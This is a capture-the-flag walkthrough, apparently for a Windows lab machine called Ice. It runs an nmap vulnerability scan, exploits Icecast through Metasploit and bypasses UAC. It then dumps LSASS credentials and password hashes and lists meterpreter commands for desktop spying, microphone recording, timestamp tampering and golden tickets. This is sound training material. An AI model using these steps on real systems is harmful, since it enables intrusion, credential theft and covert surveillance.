author: Nathan Acks
date: 2021-12-07


The machine we’ll be attacking is at Since it’s a Windows box, we know that it won’t respond to ping by default.

As usual, we’ll start out with an nmap scan:

sudo nmap -v -oA ice -Pn -A -T4 -sS -script vuln \

Which gives us:

# Nmap 7.92 scan initiated Tue Dec  7 20:55:44 2021 as: nmap -v -oA ice -Pn -A -T4 -sS -script vuln -p-
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Increasing send delay for from 0 to 5 due to 387 out of 967 dropped probes since last increase.
Increasing send delay for from 5 to 10 due to 48 out of 119 dropped probes since last increase.
Nmap scan report for
Host is up (0.18s latency).
Not shown: 65523 closed tcp ports (reset)
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
| rdp-vuln-ms12-020: 
|   MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0152
|     Risk factor: Medium  CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|     Disclosure date: 2012-03-13
|     References:
|   MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2012-0002
|     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|           Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|     Disclosure date: 2012-03-13
|     References:
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
8000/tcp  open  http               Icecast streaming media server
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-iis-webdav-vuln: Could not determine vulnerability, since root folder is password protected
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check: 
|   Slowloris DOS attack
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|     Disclosure date: 2009-09-17
|     References:
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 0.035 days (since Tue Dec  7 20:41:59 2021)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|     Disclosure date: 2017-03-14
|     References:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

TRACEROUTE (using port 1723/tcp)
1   34.62 ms
2   ... 3
4   179.31 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Tue Dec  7 21:31:59 2021 -- 1 IP address (1 host up) scanned in 2174.84 seconds

(An interesting effect of the -T4 flag, which uses a slightly more aggressive timing timing profile, is that port discovery seems to happen out-of-order…)

FLAG 1: What port is MSRDP open on? - 3389

FLAG 2: What service is running on port 8000? - Icecast streaming media server

FLAG 3: What is the hostname of the machine? - DARK-PC

Gain Access

The next few flags are about finding a particular vulnerability for Icecast on There’s actually a couple of different vulnerabilities that match the flag descriptions, but after a little trial-and-error we can find the right ones.

FLAG 4: What is a vulnerability impacting Icecast with a CVSS score of 7.5? - Execute Code Overflow

FLAG 5: What is the CVE number for the vulnerability in Flag 4? - CVE-2004-1561

FLAG 6: What is the Metasploit module for exploiting this vulnerability? - exploit/windows/http/icecast_header

FLAG 7: What option must be set to use this module? - RHOSTS

There’s not too much to this module - set RHOSTS and LHOST, run, get shell.


FLAG 8: What shell does Metasploit provide us with? - meterpreter

We can find the current user using the getuid command.

FLAG 9: What user is running the Icecast process? - Dark-PC/Dark

The sysinfo command will give us the OS version and architecture.

FLAG 10: What is the build of this Windows system? - Windows 7 (6.1 Build 7601, Service Pack 1)

FLAG 11: What is the system architecture? - x64

We’ll now use run post/multi/recon/local_exploit_suggester to find potential paths to elevating privileges.

Unfortunately, for me this only returns one result - exploit/windows/local/ms10_092_schelevator - which is not accepted as the 12th flag. The flag hint states that the exploit will contain eventvwr. A quick search through Metasploit shows that the only exploit including this string is exploit/windows/local/bypassuac_eventvwr, which is accepted.

FLAG 12: What is the potential exploit run post/multi/recon/local_exploit_suggester returns? - exploit/windows/local/bypassuac_eventvwr

We can background meterpreter with Ctrl+Z and then switch to this exploit using use exploit/windows/local/bypassuac_eventvwr. This exploit runs through an existing session, so we need to set this using set SESSION 2. (I’m on session 2 because I previously backed out an unsuccessfully tried to pop a 64-bit meterpreter shell - I guess Icecast is running as a 32-bit process.)

FLAG 13: What option needs to be set to ensure that our listener IP address is correct? - LHOST

I also tweaked LPORT, as I’m nervous about killing the existing session (which is running on the default port, 4444).

Using run quickly pops a new shell.

FLAG 14: What permission allows taking ownership of files? - SeTakeOwnershipPrivilege


In order to harvest credentials from LSASS we’ll need to migrate meterpreter to a process with the same permissions (NT AUTHORITY/SYSTEM) and architecture as LSASS. The print spooler service is a good choice, as it runs with elevated permissions, has the same architecture as the system itself, and will restart itself automatically.

FLAG 15: What is the name of the print spooler service? - spoolsv.exe

migrate -N spoolsv.exe

FLAG 16: What user is the migrated meterpreter process running as after migration? - NT AUTHORITY/SYSTEM

We’re going to loot LSASS now using Mimikatz.

load kiwi

FLAG 17: What command retrieves all credentials from LSASS? - creds_all

It turns out that Windows loads unhashed passwords into LSASS for any users with scheduled jobs!

FLAG 18: What is Dark’s password? - Password01!


FLAG 19: What meterpreter command allows us to dump all of the password hashes stored on the system? - hashdump

Hashes dumped using hashdump can be cracked offline using Hydra or John the Ripper.

FLAG 20: What meterpreter command allows us to watch the remote user’s desktop in real time? - screenshare

FLAG 21: What meterpreter command allows us to record using the system’s microphone? - record_mic

FLAG 22: What meterpreter command can modify timestamps of files on the system? - timestomp

FLAG 23: What meterpreter/kiwi command allows for the creation of a golden ticket? - golden_ticket_create

ELAPSED TIME: 2 h 39 min